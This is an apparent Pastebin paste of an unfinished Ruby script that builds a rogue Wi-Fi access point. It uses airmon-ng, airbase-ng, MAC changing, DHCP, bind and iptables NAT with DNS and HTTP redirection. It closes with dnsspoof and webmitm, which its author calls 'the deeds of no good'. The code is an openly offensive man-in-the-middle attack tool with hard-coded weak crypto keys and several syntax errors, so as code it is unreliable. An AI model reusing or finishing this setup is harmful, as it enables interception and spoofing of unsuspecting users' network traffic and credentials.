Advertisement
Guest User

Untitled

a guest
Jun 28th, 2017
108
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Ruby 7.54 KB | None | 0 0
  1. #!/usr/bin/ruby
  2. #capn-jack_mr_hai_signature_string
  3. # this is a work in progress, im going to eventuall make a complete handler for wireless router .
  4. # I started trying to make a WAP software in rub but after a while I started realizing that I shouldnt reinvent the wheel
  5. # i should just make a really good car. Im going to incorporate a bit of C and python also, the C to speed it up and the python
  6. #for some packet manipulation in the stream using scapy.
  7. #The configurtation options are all constants, i figured that instead of asking each time (since people generally have a
  8. #consistant setup) you set them in the code, the Class "packet_filter" is the filter (no really?!?!) i generally use nested ifs
  9. # for the hueristics but you can do whatever here
  10.  
  11. #install script
  12. #timed saves to pcap if ACTBAD, selective ports, most useful for tcp reconstruction
  13. require 'socket'
  14. require 'openssl'
  15. #find alternatives to avahi and network manager
  16. #maybe make a WAP connection script?
  17. # iw? ifconfig? both !
  18. #airodump to showcase the area, iwconfig to connect
  19. #dhclient to get an IP
  20.  
  21.  
  22. #ACL from ruby doc
  23. # have it be invoked as a response to snort
  24. #
  25.  
  26. #general config
  27. KEY = "qwertyuiopasdfghjklzxcvbnmqwerty"
  28. IV = "qwertyuiopasdfghjklzxcvbnmqwerty"
  29. $ACTBAD=true
  30. $VERBOSE = true
  31. LOGGING= true
  32. MONITOR="mon0"
  33. EXTIF="eth1"
  34. TUNNEL="at0"
  35. INTIF="wlan1"
  36. TTY="/dev/tty10"
  37. CHAN = "9"
  38. ESSID="Firefly"
  39. `alias wpas='sudo killall -9 wpa_supplicant'`
  40. `sudo killall -9 avahi-daemon `
  41. #DHCP config
  42. RANGE="192.168.1.2 192.168.1.254"
  43. SCOPE="192.168.1.0"
  44. GATEWAY="192.168.1.1"
  45. MASK="255.255.255.0"
  46. BROADCAST="192.168.1.255"
  47. DOMAIN="cerberusrouter.net"
  48. DNS1="208.67.222.222"
  49. DNS2="208.67.220.220"
  50.  
  51.  
  52.  
  53. #Handles encryption
  54. #example
  55. #   #preparing my balls for encryption
  56. #   balls = Encryption.new("balls")
  57. #   #encrypting my balls
  58. #   balls.encrypt_payload
  59. class Encryption
  60.     def initialize (string)
  61.         @string = string
  62.     end
  63.     #encrypts
  64.     def encrypt_payload
  65.         cipher = OpenSSL::Cipher::Cipher.new('aes-256-cbc')
  66.         cipher.encrypt
  67.         cipher.key = WAPinit::KEY
  68.         cipher.iv = WAPinit::IV
  69.         cipher.update(@string) + cipher.final
  70.        
  71.     end
  72.     #decrypts
  73.     def decrypt_payload
  74.         cipher = OpenSSL::Cipher::Cipher.new('aes-256-cbc')
  75.         cipher.decrypt
  76.         cipher.key = WAPinit::KEY
  77.         cipher.iv = WAPinit::IV
  78.         cipher.update(@string) + cipher.final
  79.     end
  80.    
  81. end
  82.  
  83. #this is a socket client to tx/rx streamimg data.
  84. class Socket_IO_cryptzz
  85.   def initialize(data, port, host)
  86.   @io_obj = data
  87.   @port = port
  88.   @host = host
  89.   end
  90.   def client
  91.     socket = TCPSocket.open(host, port)
  92.     while  = socket.gets  
  93.            
  94.    
  95.     end
  96.     socket.close
  97.   end
  98.  
  99.   def server
  100.     server = TCPServer.open(@port)
  101.     loop {                        
  102.       client = server.accept
  103.       data = Encryption.new(@io_obj)
  104.       crypt_data = data.encrypt_payload
  105.       client.puts crypt_data      
  106.       client.close
  107.     }
  108. end
  109.  
  110.  
  111. class Http_server
  112.   def initialize(port, header, max_connect, host,)
  113.     @host = host #(insert php server self here)
  114.   end
  115.  
  116. end
  117.  
  118.  
  119. #instances of this class start the show
  120. class WAPinit
  121. `/etc/init.d/networking restart`
  122. #file contents of the bind and DHCP servers and the interface file
  123. interfaces = <<INTERFACE
  124. #loopback interface
  125.     auto lo iface lo inet loopback
  126.  
  127.     # interface external network (internet), configured through dhcp
  128.     auto #{EXTIF}
  129.     iface #{EXTIF} inet dhcp
  130.  
  131.     #interface network 1
  132.     auto #{INTIF}
  133.     iface #{INTIF} inet static
  134.             address #{GATEWAWY}
  135.             netmask #{MASK}
  136.             network #{SCOPE}
  137.             broadcast #{BROADCAST}
  138.  
  139.  
  140.  
  141. INTERFACE
  142.  
  143. bind = <<BIND
  144. options {
  145.     directory "/var/cache/bind";
  146.    
  147.     forwarders {
  148.         #{GATEWAY};
  149.        
  150.     };
  151.  
  152.     auth-nxdomain no;    # conform to RFC1035
  153.     listen-on-v6 { any; };
  154. };
  155. BIND
  156.  
  157.  
  158. dhcp3 = <<DHCP
  159. ddns-update-style interim;                                  
  160. ignore client-updates;
  161.  
  162. subnet #{SCOPE} netmask #{MASK} {
  163.  
  164.         range #{RANGE};                  
  165.            option subnet-mask              #{MASK};    # Default subnet mask to be used by DHCP clients
  166.            option broadcast-address        #{BROADCAST};    # Default broadcast address to be used by DHCP clients
  167.            option routers                  #{GATEWAY};      # Default gateway to be used by DHCP clients
  168.            option domain-name              "#{DOMAIN}";
  169.            option domain-name-servers      #{DNS1}, #{DNS2};           # Default DNS to be used by DHCP clients
  170. }
  171. #         DHCP requests are not forwarded. Applies when there is more than one ethernet device and forwarding is configured.
  172. #       option ipforwarding off;
  173.  
  174.          default-lease-time 21600;                            # Amount of time in seconds that a client may keep the IP address
  175.         max-lease-time 43200;
  176.  
  177.         option time-offset              -18000;              # Eastern Standard Time
  178. #       option ntp-servers              192.168.1.1;         # Default NTP server to be used by DHCP clients
  179. DHCP
  180.  
  181. ifaces = File.open("/etc/network/interfaces", "w")
  182. ifaces.syswrite(interfaces)
  183. `route add -net -n #{SCOPE} netmask #{MASK} dev #{INTIF}`
  184. `route add -net -n 0.0.0.0 dev #{EXTIF}`
  185. printf `route`
  186.  
  187. if `ifconfig`.match(/mon[0-9]/) = true
  188.  
  189.    elsif `ifconfig`.match(/at[0-9]/) = true
  190.  
  191.    elsif `ifconfig`.match(/wlan[0-9]/) = true
  192. #     `sudo killall -9 NetworkManager`
  193.      `sudo killall -9 avahi-daemon`
  194.      `killall -9 wpa_supplicant`
  195.      `airmon-ng start #{INTIF} #{CHAN}`
  196.      `gnome-terminal -e airodump-ng #{MONITOR}`
  197.      `changemac #{EXTIF}`
  198.      `changemac #{INTIF}`
  199.      `killall -9 wpa_supplicant`
  200.      pid = fork do
  201.        `airbase-ng -e #{ESSID} -v -v -c #{CHAN} -I 5000 #{MONITOR} 2>&1`
  202.      end
  203.     Process.detach(pid)
  204.    else printf "Something happened with the interfaces, please configure your system and plug in any devices"
  205.   end
  206. sleep 4
  207. `ifconfig #{TUNNEL} up`
  208. #begin the router-fu!
  209. `modprobe ip_tables`
  210. `modprobe iptable_filter`
  211. `modprobe ip_conntrack`
  212. `modprobe ip_conntrack_ftp`
  213. `modprobe ip_conntrack_irc`
  214. `modprobe iptable_nat`
  215. `modprobe ip_nat_ftp`
  216. `modprobe ip_nat_irc`
  217. `echo "1" > /proc/sys/net/ipv4/ip_dynaddr`
  218. `iptables --table nat --flush`
  219. `iptables --delete-chain`
  220. `iptables --flush`
  221. `iptables -P INPUT ACCEPT`
  222. `iptables -F INPUT `
  223. `iptables -P OUTPUT ACCEPT`
  224. `iptables -F OUTPUT `
  225. `iptables -P FORWARD DROP`
  226. `iptables -F FORWARD `
  227. `iptables -t nat -F`
  228. `iptables -A FORWARD -i #{TUNNEL} -o #{EXTIF} -j ACCEPT`
  229. `iptables -A FORWARD -i #{TUNNEL} -o #{EXTIF} -m state --state ESTABLISHED,RELATED -j ACCEPT`
  230. `iptables -A INPUT -i #{TUNNEL} -m state --state ESTABLISHED,RELATED -j ACCEPT`
  231. `iptables -A INPUT -i lo -s 0/0 -d 0/0 -j ACCEPT`
  232. `iptables -A POSTROUTING -t nat -o #{EXTIF} -j MASQUERADE`
  233. `iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to #{GATEWAY}` #dns
  234. `iptables -t nat -A PREROUTING -i #{TUNNEL} -p tcp --dport 80 --j REDIRECT --to-ports 80`
  235. `echo "1" > /proc/sys/net/ipv4/ip_forward`
  236. `ifconfig at0 up`
  237. `ifconfig at0 #{GATEWAY} netmask #{MASK}`
  238. `ifconfig at0 mtu 1500`
  239. dhcpconf = File.open("/etc/dhcp3/dhcpd.conf", "w")
  240. dhcpconf.syswrite(dhcp3)
  241. `dhcpd3 #{TUNNEL}`
  242. dnsf = File.open("/etc/bind/named.conf.options", "w")
  243. dnsf.syswrite(bind)
  244. printf `/etc/init.d/bind9 restart`
  245. `notify-send "#{ESSID} - Wireless Access Point initialized"`
  246. end
  247.  
  248. #Starting the server
  249. WAPinit.new
  250.  
  251. # so far we have accomplished the task of initiating a WAP, starting DHCP, configuring the routing tables for
  252. #tranparency and configuring the interfaces.
  253.  
  254. #now we begin the deeds of no good
  255.  
  256. `dnsspoof -i #{TUNNEL}`
  257. sleep 1
  258. `webmitm -d -d -d`
  259. sleep 1
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement